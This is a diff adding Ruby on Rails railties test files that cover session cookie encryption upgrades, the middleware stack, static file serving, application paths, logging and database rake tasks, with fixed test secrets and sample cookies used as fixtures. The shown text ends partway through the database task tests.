+        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_raw_session"
+      get "/foo/read_session"
+      assert_equal "1", last_response.body
+
+      get "/foo/write_session"
+      get "/foo/read_session"
+      assert_equal "2", last_response.body
+
+      get "/foo/read_encrypted_cookie"
+      assert_equal "2", last_response.body
+
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher)
+
+      get "/foo/read_raw_cookie"
+      assert_equal 2, encryptor.decrypt_and_verify(last_response.body)["foo"]
+    end
+
+    test "session upgrading from AES-CBC-HMAC encryption to AES-GCM encryption" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def write_raw_session
+            # AES-256-CBC with SHA1 HMAC
+            # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
+            cookies[:_myapp_session] = "TlgrdS85aUpDd1R2cDlPWlR6K0FJeGExckwySjZ2Z0pkR3d2QnRObGxZT25aalJWYWVvbFVLcHF4d0VQVDdSaFF2QjFPbG9MVjJzeWp3YjcyRUlKUUU2ZlR4bXlSNG9ZUkJPRUtld0E3dVU9LS0xNDZXbGpRZ3NjdW43N2haUEZJSUNRPT0=--3639b5ce54c09495cfeaae928cd5634e0c4b2e96"
+            head :ok
+          end
+
+          def write_session
+            session[:foo] = session[:foo] + 1
+            head :ok
+          end
+
+          def read_session
+            render plain: session[:foo]
+          end
+
+          def read_encrypted_cookie
+            render plain: cookies.encrypted[:_myapp_session]['foo']
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:_myapp_session]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        # Use a static key
+        secrets.secret_key_base = "known key base"
+
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_raw_session"
+      get "/foo/read_session"
+      assert_equal "1", last_response.body
+
+      get "/foo/write_session"
+      get "/foo/read_session"
+      assert_equal "2", last_response.body
+
+      get "/foo/read_encrypted_cookie"
+      assert_equal "2", last_response.body
+
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher)
+
+      get "/foo/read_raw_cookie"
+      assert_equal 2, encryptor.decrypt_and_verify(last_response.body)["foo"]
+    end
+
+    test "session upgrading legacy signed cookies to new signed cookies" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def write_raw_session
+            # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
+            cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
+            head :ok
+          end
+
+          def write_session
+            session[:foo] = session[:foo] + 1
+            head :ok
+          end
+
+          def read_session
+            render plain: session[:foo]
+          end
+
+          def read_signed_cookie
+            render plain: cookies.signed[:_myapp_session]['foo']
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:_myapp_session]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        secrets.secret_key_base = nil
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_raw_session"
+      get "/foo/read_session"
+      assert_equal "1", last_response.body
+
+      get "/foo/write_session"
+      get "/foo/read_session"
+      assert_equal "2", last_response.body
+
+      get "/foo/read_signed_cookie"
+      assert_equal "2", last_response.body
+
+      verifier = ActiveSupport::MessageVerifier.new(app.secrets.secret_token)
+
+      get "/foo/read_raw_cookie"
+      assert_equal 2, verifier.verify(last_response.body)["foo"]
+    end
+
+    test "calling reset_session on request does not trigger an error for API apps" do
+      add_to_config "config.api_only = true"
+
+      controller :test, <<-RUBY
+        class TestController < ApplicationController
+          def dump_flash
+            request.reset_session
+            render plain: 'It worked!'
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/dump_flash' => "test#dump_flash"
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/dump_flash"
+
+      assert_equal 200, last_response.status
+      assert_equal "It worked!", last_response.body
+
+      assert_not_includes Rails.application.middleware, ActionDispatch::Flash
+    end
+
+    test "cookie_only is set to true even if user tries to overwrite it" do
+      add_to_config "config.session_store :cookie_store, key: '_myapp_session', cookie_only: false"
+      require "#{app_path}/config/environment"
+      assert app.config.session_options[:cookie_only], "Expected cookie_only to be set to true"
+    end
+  end
+end
diff --git a/railties/test/application/middleware/static_test.rb b/railties/test/application/middleware/static_test.rb
new file mode 100644
index 0000000000..5cd3e4325e
--- /dev/null
+++ b/railties/test/application/middleware/static_test.rb
@@ -0,0 +1,68 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class MiddlewareStaticTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    # Regression test to #8907
+    # See https://github.com/rails/rails/commit/9cc82b77196d21a5c7021f6dca59ab9b2b158a45#commitcomment-2416514
+    test "doesn't set Cache-Control header when it is nil" do
+      app_file "public/foo.html", "static"
+
+      require "#{app_path}/config/environment"
+
+      get "foo"
+
+      assert_not last_response.headers.has_key?("Cache-Control"), "Cache-Control should not be set"
+    end
+
+    test "headers for static files are configurable" do
+      app_file "public/about.html", "static"
+      add_to_config <<-CONFIG
+        config.public_file_server.headers = {
+          "Access-Control-Allow-Origin" => "http://rubyonrails.org",
+          "Cache-Control"               => "public, max-age=60"
+        }
+      CONFIG
+
+      require "#{app_path}/config/environment"
+
+      get "/about.html"
+
+      assert_equal "http://rubyonrails.org", last_response.headers["Access-Control-Allow-Origin"]
+      assert_equal "public, max-age=60",     last_response.headers["Cache-Control"]
+    end
+
+    test "public_file_server.index_name defaults to 'index'" do
+      app_file "public/index.html", "/index.html"
+
+      require "#{app_path}/config/environment"
+
+      get "/"
+
+      assert_equal "/index.html\n", last_response.body
+    end
+
+    test "public_file_server.index_name configurable" do
+      app_file "public/other-index.html", "/other-index.html"
+      add_to_config "config.public_file_server.index_name = 'other-index'"
+
+      require "#{app_path}/config/environment"
+
+      get "/"
+
+      assert_equal "/other-index.html\n", last_response.body
+    end
+  end
+end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
new file mode 100644
index 0000000000..0a6e5b52e9
--- /dev/null
+++ b/railties/test/application/middleware_test.rb
@@ -0,0 +1,310 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class MiddlewareTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    test "default middleware stack" do
+      add_to_config "config.active_record.migration_error = :page_load"
+
+      boot!
+
+      assert_equal [
+        "Rack::Sendfile",
+        "ActionDispatch::Static",
+        "ActionDispatch::Executor",
+        "ActiveSupport::Cache::Strategy::LocalCache",
+        "Rack::Runtime",
+        "Rack::MethodOverride",
+        "ActionDispatch::RequestId",
+        "ActionDispatch::RemoteIp",
+        "Rails::Rack::Logger",
+        "ActionDispatch::ShowExceptions",
+        "ActionDispatch::DebugExceptions",
+        "ActionDispatch::Reloader",
+        "ActionDispatch::Callbacks",
+        "ActiveRecord::Migration::CheckPending",
+        "ActionDispatch::Cookies",
+        "ActionDispatch::Session::CookieStore",
+        "ActionDispatch::Flash",
+        "Rack::Head",
+        "Rack::ConditionalGet",
+        "Rack::ETag"
+      ], middleware
+    end
+
+    test "api middleware stack" do
+      add_to_config "config.api_only = true"
+
+      boot!
+
+      assert_equal [
+        "Rack::Sendfile",
+        "ActionDispatch::Static",
+        "ActionDispatch::Executor",
+        "ActiveSupport::Cache::Strategy::LocalCache",
+        "Rack::Runtime",
+        "ActionDispatch::RequestId",
+        "ActionDispatch::RemoteIp",
+        "Rails::Rack::Logger",
+        "ActionDispatch::ShowExceptions",
+        "ActionDispatch::DebugExceptions",
+        "ActionDispatch::Reloader",
+        "ActionDispatch::Callbacks",
+        "Rack::Head",
+        "Rack::ConditionalGet",
+        "Rack::ETag"
+      ], middleware
+    end
+
+    test "middleware dependencies" do
+      boot!
+
+      # The following array-of-arrays describes dependencies between
+      # middlewares: the first item in each list depends on the
+      # remaining items (and therefore must occur later in the
+      # middleware stack).
+
+      dependencies = [
+        # Logger needs a fully "corrected" request environment
+        %w(Rails::Rack::Logger Rack::MethodOverride ActionDispatch::RequestId ActionDispatch::RemoteIp),
+
+        # Serving public/ doesn't invoke user code, so it should skip
+        # locks etc
+        %w(ActionDispatch::Executor ActionDispatch::Static),
+
+        # Errors during reload must be reported
+        %w(ActionDispatch::Reloader ActionDispatch::ShowExceptions ActionDispatch::DebugExceptions),
+
+        # Outright dependencies
+        %w(ActionDispatch::Static Rack::Sendfile),
+        %w(ActionDispatch::Flash ActionDispatch::Session::CookieStore),
+        %w(ActionDispatch::Session::CookieStore ActionDispatch::Cookies),
+      ]
+
+      require "tsort"
+      sorted = TSort.tsort((middleware | dependencies.flatten).method(:each),
+                           lambda { |n, &b| dependencies.each { |m, *ds| ds.each(&b) if m == n } })
+      assert_equal sorted, middleware
+    end
+
+    test "Rack::Cache is not included by default" do
+      boot!
+
+      assert_not_includes middleware, "Rack::Cache", "Rack::Cache is not included in the default stack unless you set config.action_dispatch.rack_cache"
+    end
+
+    test "Rack::Cache is present when action_dispatch.rack_cache is set" do
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      boot!
+
+      assert_includes middleware, "Rack::Cache"
+    end
+
+    test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
+      add_to_config "config.active_record.migration_error = :page_load"
+
+      boot!
+
+      assert_includes middleware, "ActiveRecord::Migration::CheckPending"
+    end
+
+    test "ActionDispatch::SSL is present when force_ssl is set" do
+      add_to_config "config.force_ssl = true"
+      boot!
+      assert_includes middleware, "ActionDispatch::SSL"
+    end
+
+    test "ActionDispatch::SSL is configured with options when given" do
+      add_to_config "config.force_ssl = true"
+      add_to_config "config.ssl_options = { redirect: { host: 'example.com' } }"
+      boot!
+
+      assert_equal [{ redirect: { host: "example.com" } }], Rails.application.middleware.first.args
+    end
+
+    test "removing Active Record omits its middleware" do
+      use_frameworks []
+      boot!
+      assert_not_includes middleware, "ActiveRecord::Migration::CheckPending"
+    end
+
+    test "includes executor" do
+      boot!
+      assert_includes middleware, "ActionDispatch::Executor"
+    end
+
+    test "does not include lock if cache_classes is set and so is eager_load" do
+      add_to_config "config.cache_classes = true"
+      add_to_config "config.eager_load = true"
+      boot!
+      assert_not_includes middleware, "Rack::Lock"
+    end
+
+    test "does not include lock if allow_concurrency is set to :unsafe" do
+      add_to_config "config.allow_concurrency = :unsafe"
+      boot!
+      assert_not_includes middleware, "Rack::Lock"
+    end
+
+    test "includes lock if allow_concurrency is disabled" do
+      add_to_config "config.allow_concurrency = false"
+      boot!
+      assert_includes middleware, "Rack::Lock"
+    end
+
+    test "removes static asset server if public_file_server.enabled is disabled" do
+      add_to_config "config.public_file_server.enabled = false"
+      boot!
+      assert_not_includes middleware, "ActionDispatch::Static"
+    end
+
+    test "can delete a middleware from the stack" do
+      add_to_config "config.middleware.delete ActionDispatch::Static"
+      boot!
+      assert_not_includes middleware, "ActionDispatch::Static"
+    end
+
+    test "can delete a middleware from the stack even if insert_before is added after delete" do
+      add_to_config "config.middleware.delete Rack::Runtime"
+      add_to_config "config.middleware.insert_before(Rack::Runtime, Rack::Config)"
+      boot!
+      assert_includes middleware, "Rack::Config"
+      assert_not middleware.include?("Rack::Runtime")
+    end
+
+    test "can delete a middleware from the stack even if insert_after is added after delete" do
+      add_to_config "config.middleware.delete Rack::Runtime"
+      add_to_config "config.middleware.insert_after(Rack::Runtime, Rack::Config)"
+      boot!
+      assert_includes middleware, "Rack::Config"
+      assert_not middleware.include?("Rack::Runtime")
+    end
+
+    test "includes exceptions middlewares even if action_dispatch.show_exceptions is disabled" do
+      add_to_config "config.action_dispatch.show_exceptions = false"
+      boot!
+      assert_includes middleware, "ActionDispatch::ShowExceptions"
+      assert_includes middleware, "ActionDispatch::DebugExceptions"
+    end
+
+    test "removes ActionDispatch::Reloader if cache_classes is true" do
+      add_to_config "config.cache_classes = true"
+      boot!
+      assert_not_includes middleware, "ActionDispatch::Reloader"
+    end
+
+    test "use middleware" do
+      use_frameworks []
+      add_to_config "config.middleware.use Rack::Config"
+      boot!
+      assert_equal "Rack::Config", middleware.last
+    end
+
+    test "insert middleware after" do
+      add_to_config "config.middleware.insert_after Rack::Sendfile, Rack::Config"
+      boot!
+      assert_equal "Rack::Config", middleware.second
+    end
+
+    test "unshift middleware" do
+      add_to_config "config.middleware.unshift Rack::Config"
+      boot!
+      assert_equal "Rack::Config", middleware.first
+    end
+
+    test "Rails.cache does not respond to middleware" do
+      add_to_config "config.cache_store = :memory_store"
+      boot!
+      assert_equal "Rack::Runtime", middleware.fourth
+    end
+
+    test "Rails.cache does respond to middleware" do
+      boot!
+      assert_equal "Rack::Runtime", middleware.fifth
+    end
+
+    test "insert middleware before" do
+      add_to_config "config.middleware.insert_before Rack::Sendfile, Rack::Config"
+      boot!
+      assert_equal "Rack::Config", middleware.first
+    end
+
+    test "can't change middleware after it's built" do
+      boot!
+      assert_raise RuntimeError do
+        app.config.middleware.use Rack::Config
+      end
+    end
+
+    # ConditionalGet + Etag
+    test "conditional get + etag middlewares handle http caching based on body" do
+      make_basic_app
+
+      class ::OmgController < ActionController::Base
+        def index
+          if params[:nothing]
+            render plain: ""
+          else
+            render plain: "OMG"
+          end
+        end
+      end
+
+      etag = "W/" + "c00862d1c6c1cf7c1b49388306e7b3c1".inspect
+
+      get "/"
+      assert_equal 200, last_response.status
+      assert_equal "OMG", last_response.body
+      assert_equal "text/plain; charset=utf-8", last_response.headers["Content-Type"]
+      assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
+      assert_equal etag, last_response.headers["Etag"]
+
+      get "/", {}, "HTTP_IF_NONE_MATCH" => etag
+      assert_equal 304, last_response.status
+      assert_equal "", last_response.body
+      assert_nil last_response.headers["Content-Type"]
+      assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
+      assert_equal etag, last_response.headers["Etag"]
+
+      get "/?nothing=true"
+      assert_equal 200, last_response.status
+      assert_equal "", last_response.body
+      assert_equal "text/plain; charset=utf-8", last_response.headers["Content-Type"]
+      assert_equal "no-cache", last_response.headers["Cache-Control"]
+      assert_nil last_response.headers["Etag"]
+    end
+
+    test "ORIGINAL_FULLPATH is passed to env" do
+      boot!
+      env = ::Rack::MockRequest.env_for("/foo/?something")
+      Rails.application.call(env)
+
+      assert_equal "/foo/?something", env["ORIGINAL_FULLPATH"]
+    end
+
+    private
+
+      def boot!
+        require "#{app_path}/config/environment"
+      end
+
+      def middleware
+        Rails.application.middleware.map(&:klass).map(&:name)
+      end
+  end
+end
diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb
new file mode 100644
index 0000000000..26b810af73
--- /dev/null
+++ b/railties/test/application/multiple_applications_test.rb
@@ -0,0 +1,175 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class MultipleApplicationsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app(initializers: true)
+      require "#{rails_root}/config/environment"
+      Rails.application.config.some_setting = "something_or_other"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_cloning_an_application_makes_a_shallow_copy_of_config
+      clone = Rails.application.clone
+
+      assert_equal Rails.application.config, clone.config, "The cloned application should get a copy of the config"
+      assert_equal Rails.application.config.some_setting, clone.config.some_setting, "The some_setting on the config should be the same"
+    end
+
+    def test_inheriting_multiple_times_from_application
+      new_application_class = Class.new(Rails::Application)
+
+      assert_not_equal Rails.application.object_id, new_application_class.instance.object_id
+    end
+
+    def test_initialization_of_multiple_copies_of_same_application
+      application1 = AppTemplate::Application.new
+      application2 = AppTemplate::Application.new
+
+      assert_not_equal Rails.application.object_id, application1.object_id, "New applications should not be the same as the original application"
+      assert_not_equal Rails.application.object_id, application2.object_id, "New applications should not be the same as the original application"
+    end
+
+    def test_initialization_of_application_with_previous_config
+      application1 = AppTemplate::Application.create(config: Rails.application.config)
+      application2 = AppTemplate::Application.create
+
+      assert_equal Rails.application.config, application1.config, "Creating a new application while setting an initial config should result in the same config"
+      assert_not_equal Rails.application.config, application2.config, "New applications without setting an initial config should not have the same config"
+    end
+
+    def test_initialization_of_application_with_previous_railties
+      application1 = AppTemplate::Application.create(railties: Rails.application.railties)
+      application2 = AppTemplate::Application.create
+
+      assert_equal Rails.application.railties, application1.railties
+      assert_not_equal Rails.application.railties, application2.railties
+    end
+
+    def test_initialize_new_application_with_all_previous_initialization_variables
+      application1 = AppTemplate::Application.create(
+        config:           Rails.application.config,
+        railties:         Rails.application.railties,
+        routes_reloader:  Rails.application.routes_reloader,
+        reloaders:        Rails.application.reloaders,
+        routes:           Rails.application.routes,
+        helpers:          Rails.application.helpers,
+        app_env_config:   Rails.application.env_config
+      )
+
+      assert_equal Rails.application.config, application1.config
+      assert_equal Rails.application.railties, application1.railties
+      assert_equal Rails.application.routes_reloader, application1.routes_reloader
+      assert_equal Rails.application.reloaders, application1.reloaders
+      assert_equal Rails.application.routes, application1.routes
+      assert_equal Rails.application.helpers, application1.helpers
+      assert_equal Rails.application.env_config, application1.env_config
+    end
+
+    def test_rake_tasks_defined_on_different_applications_go_to_the_same_class
+      run_count = 0
+
+      application1 = AppTemplate::Application.new
+      application1.rake_tasks do
+        run_count += 1
+      end
+
+      application2 = AppTemplate::Application.new
+      application2.rake_tasks do
+        run_count += 1
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert_equal 0, run_count, "The count should stay at zero without any calls to the rake tasks"
+      require "rake"
+      require "rake/testtask"
+      require "rdoc/task"
+      Rails.application.load_tasks
+      assert_equal 2, run_count, "Calling a rake task should result in two increments to the count"
+    end
+
+    def test_multiple_applications_can_be_initialized
+      assert_nothing_raised { AppTemplate::Application.new }
+    end
+
+    def test_initializers_run_on_different_applications_go_to_the_same_class
+      application1 = AppTemplate::Application.new
+      run_count = 0
+
+      AppTemplate::Application.initializer :init0 do
+        run_count += 1
+      end
+
+      application1.initializer :init1 do
+        run_count += 1
+      end
+
+      AppTemplate::Application.new.initializer :init2 do
+        run_count += 1
+      end
+
+      assert_equal 0, run_count, "Without loading the initializers, the count should be 0"
+
+      # Set config.eager_load to false so that an eager_load warning doesn't pop up
+      AppTemplate::Application.create { config.eager_load = false }.initialize!
+
+      assert_equal 3, run_count, "There should have been three initializers that incremented the count"
+    end
+
+    def test_consoles_run_on_different_applications_go_to_the_same_class
+      run_count = 0
+      AppTemplate::Application.console { run_count += 1 }
+      AppTemplate::Application.new.console { run_count += 1 }
+
+      assert_equal 0, run_count, "Without loading the consoles, the count should be 0"
+      Rails.application.load_console
+      assert_equal 2, run_count, "There should have been two consoles that increment the count"
+    end
+
+    def test_generators_run_on_different_applications_go_to_the_same_class
+      run_count = 0
+      AppTemplate::Application.generators { run_count += 1 }
+      AppTemplate::Application.new.generators { run_count += 1 }
+
+      assert_equal 0, run_count, "Without loading the generators, the count should be 0"
+      Rails.application.load_generators
+      assert_equal 2, run_count, "There should have been two generators that increment the count"
+    end
+
+    def test_runners_run_on_different_applications_go_to_the_same_class
+      run_count = 0
+      AppTemplate::Application.runner { run_count += 1 }
+      AppTemplate::Application.new.runner { run_count += 1 }
+
+      assert_equal 0, run_count, "Without loading the runners, the count should be 0"
+      Rails.application.load_runner
+      assert_equal 2, run_count, "There should have been two runners that increment the count"
+    end
+
+    def test_isolate_namespace_on_an_application
+      assert_nil Rails.application.railtie_namespace, "Before isolating namespace, the railtie namespace should be nil"
+      Rails.application.isolate_namespace(AppTemplate)
+      assert_equal Rails.application.railtie_namespace, AppTemplate, "After isolating namespace, we should have a namespace"
+    end
+
+    def test_inserting_configuration_into_application
+      app = AppTemplate::Application.new(config: Rails.application.config)
+      app.config.some_setting = "a_different_setting"
+      assert_equal "a_different_setting", app.config.some_setting, "The configuration's some_setting should be set."
+
+      new_config = Rails::Application::Configuration.new("root_of_application")
+      new_config.some_setting = "some_setting_dude"
+      app.config = new_config
+
+      assert_equal "some_setting_dude", app.config.some_setting, "The configuration's some_setting should have changed."
+      assert_equal "root_of_application", app.config.root, "The root should have changed to the new config's root."
+      assert_equal new_config, app.config, "The application's config should have changed to the new config."
+    end
+  end
+end
diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb
new file mode 100644
index 0000000000..515205296c
--- /dev/null
+++ b/railties/test/application/paths_test.rb
@@ -0,0 +1,82 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class PathsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf("#{app_path}/config/environments")
+      app_file "config/environments/development.rb", ""
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.after_initialize do |app|
+          app.config.session_store nil
+        end
+      RUBY
+      require "#{app_path}/config/environment"
+      @paths = Rails.application.config.paths
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def root(*path)
+      app_path(*path).to_s
+    end
+
+    def assert_path(paths, *dir)
+      assert_equal [root(*dir)], paths.expanded
+    end
+
+    def assert_in_load_path(*path)
+      assert $:.any? { |p| File.expand_path(p) == root(*path) }, "Load path does not include '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
+    end
+
+    def assert_not_in_load_path(*path)
+      assert !$:.any? { |p| File.expand_path(p) == root(*path) }, "Load path includes '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
+    end
+
+    test "booting up Rails yields a valid paths object" do
+      assert_path @paths["app/models"],          "app/models"
+      assert_path @paths["app/helpers"],         "app/helpers"
+      assert_path @paths["app/views"],           "app/views"
+      assert_path @paths["lib"],                 "lib"
+      assert_path @paths["vendor"],              "vendor"
+      assert_path @paths["tmp"],                 "tmp"
+      assert_path @paths["config"],              "config"
+      assert_path @paths["config/locales"],      "config/locales/en.yml"
+      assert_path @paths["config/environment"],  "config/environment.rb"
+      assert_path @paths["config/environments"], "config/environments/development.rb"
+
+      assert_equal root("app", "controllers"), @paths["app/controllers"].expanded.first
+    end
+
+    test "booting up Rails yields a list of paths that are eager" do
+      eager_load = @paths.eager_load
+      assert_includes eager_load, root("app/controllers")
+      assert_includes eager_load, root("app/helpers")
+      assert_includes eager_load, root("app/models")
+    end
+
+    test "environments has a glob equal to the current environment" do
+      assert_equal "#{Rails.env}.rb", @paths["config/environments"].glob
+    end
+
+    test "load path includes each of the paths in config.paths as long as the directories exist" do
+      assert_in_load_path "app", "controllers"
+      assert_in_load_path "app", "models"
+      assert_in_load_path "app", "helpers"
+      assert_in_load_path "lib"
+      assert_in_load_path "vendor"
+
+      assert_not_in_load_path "app", "views"
+      assert_not_in_load_path "config"
+      assert_not_in_load_path "config", "locales"
+      assert_not_in_load_path "config", "environments"
+      assert_not_in_load_path "tmp"
+      assert_not_in_load_path "tmp", "cache"
+    end
+  end
+end
diff --git a/railties/test/application/per_request_digest_cache_test.rb b/railties/test/application/per_request_digest_cache_test.rb
new file mode 100644
index 0000000000..6e6996a6ba
--- /dev/null
+++ b/railties/test/application/per_request_digest_cache_test.rb
@@ -0,0 +1,70 @@
+require "isolation/abstract_unit"
+require "rack/test"
+require "minitest/mock"
+
+require "action_view"
+require "active_support/testing/method_call_assertions"
+
+class PerRequestDigestCacheTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+  include ActiveSupport::Testing::MethodCallAssertions
+  include Rack::Test::Methods
+
+  setup do
+    build_app
+    add_to_config "config.consider_all_requests_local = true"
+
+    app_file "app/models/customer.rb", <<-RUBY
+      class Customer < Struct.new(:name, :id)
+        extend ActiveModel::Naming
+        include ActiveModel::Conversion
+
+        def cache_key
+          [ name, id ].join("/")
+        end
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        resources :customers, only: :index
+      end
+    RUBY
+
+    app_file "app/controllers/customers_controller.rb", <<-RUBY
+      class CustomersController < ApplicationController
+        self.perform_caching = true
+
+        def index
+          render [ Customer.new('david', 1), Customer.new('dingus', 2) ]
+        end
+      end
+    RUBY
+
+    app_file "app/views/customers/_customer.html.erb", <<-RUBY
+      <% cache customer do %>
+        <%= customer.name %>
+      <% end %>
+    RUBY
+
+    require "#{app_path}/config/environment"
+  end
+
+  teardown :teardown_app
+
+  test "digests are reused when rendering the same template twice" do
+    get "/customers"
+    assert_equal 200, last_response.status
+
+    values = ActionView::LookupContext::DetailsKey.digest_caches.first.values
+    assert_equal [ "8ba099b7749542fe765ff34a6824d548" ], values
+    assert_equal %w(david dingus), last_response.body.split.map(&:strip)
+  end
+
+  test "template digests are cleared before a request" do
+    assert_called(ActionView::LookupContext::DetailsKey, :clear) do
+      get "/customers"
+      assert_equal 200, last_response.status
+    end
+  end
+end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
new file mode 100644
index 0000000000..e71bcbc536
--- /dev/null
+++ b/railties/test/application/rack/logger_test.rb
@@ -0,0 +1,56 @@
+require "isolation/abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "rack/test"
+
+module ApplicationTests
+  module RackTests
+    class LoggerTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+      include ActiveSupport::LogSubscriber::TestHelper
+      include Rack::Test::Methods
+
+      def setup
+        build_app
+        add_to_config <<-RUBY
+          config.logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+        RUBY
+
+        require "#{app_path}/config/environment"
+        super
+      end
+
+      def teardown
+        super
+        teardown_app
+      end
+
+      def logs
+        @logs ||= Rails.logger.logged(:info).join("\n")
+      end
+
+      test "logger logs proper HTTP GET verb and path" do
+        get "/blah"
+        wait
+        assert_match 'Started GET "/blah"', logs
+      end
+
+      test "logger logs proper HTTP HEAD verb and path" do
+        head "/blah"
+        wait
+        assert_match 'Started HEAD "/blah"', logs
+      end
+
+      test "logger logs HTTP verb override" do
+        post "/", _method: "put"
+        wait
+        assert_match 'Started PUT "/"', logs
+      end
+
+      test "logger logs HEAD requests" do
+        post "/", _method: "head"
+        wait
+        assert_match 'Started HEAD "/"', logs
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb
new file mode 100644
index 0000000000..2943e9ee5d
--- /dev/null
+++ b/railties/test/application/rackup_test.rb
@@ -0,0 +1,42 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class RackupTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def rackup
+      require "rack"
+      app, _ = Rack::Builder.parse_file("#{app_path}/config.ru")
+      app
+    end
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "Rails app is present" do
+      assert File.exist?(app_path("config"))
+    end
+
+    test "config.ru can be racked up" do
+      Dir.chdir app_path do
+        @app = rackup
+        assert_welcome get("/")
+      end
+    end
+
+    test "Rails.application is available after config.ru has been racked up" do
+      rackup
+      assert_kind_of Rails::Application, Rails.application
+    end
+
+    test "the config object is available on the application object" do
+      rackup
+      assert_equal "UTC", Rails.application.config.time_zone
+    end
+  end
+end
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
new file mode 100644
index 0000000000..3216121de3
--- /dev/null
+++ b/railties/test/application/rake/dbs_test.rb
@@ -0,0 +1,318 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeDbsTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+        FileUtils.rm_rf("#{app_path}/config/environments")
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      def database_url_db_name
+        "db/database_url_db.sqlite3"
+      end
+
+      def set_database_url
+        ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
+        # ensure it's using the DATABASE_URL
+        FileUtils.rm_rf("#{app_path}/config/database.yml")
+      end
+
+      def db_create_and_drop(expected_database)
+        Dir.chdir(app_path) do
+          output = `bin/rails db:create`
+          assert_match(/Created database/, output)
+          assert File.exist?(expected_database)
+          assert_equal expected_database, ActiveRecord::Base.connection_config[:database]
+          output = `bin/rails db:drop`
+          assert_match(/Dropped database/, output)
+          assert !File.exist?(expected_database)
+        end
+      end
+
+      test "db:create and db:drop without database url" do
+        require "#{app_path}/config/environment"
+        db_create_and_drop ActiveRecord::Base.configurations[Rails.env]["database"]
+      end
+
+      test "db:create and db:drop with database url" do
+        require "#{app_path}/config/environment"
+        set_database_url
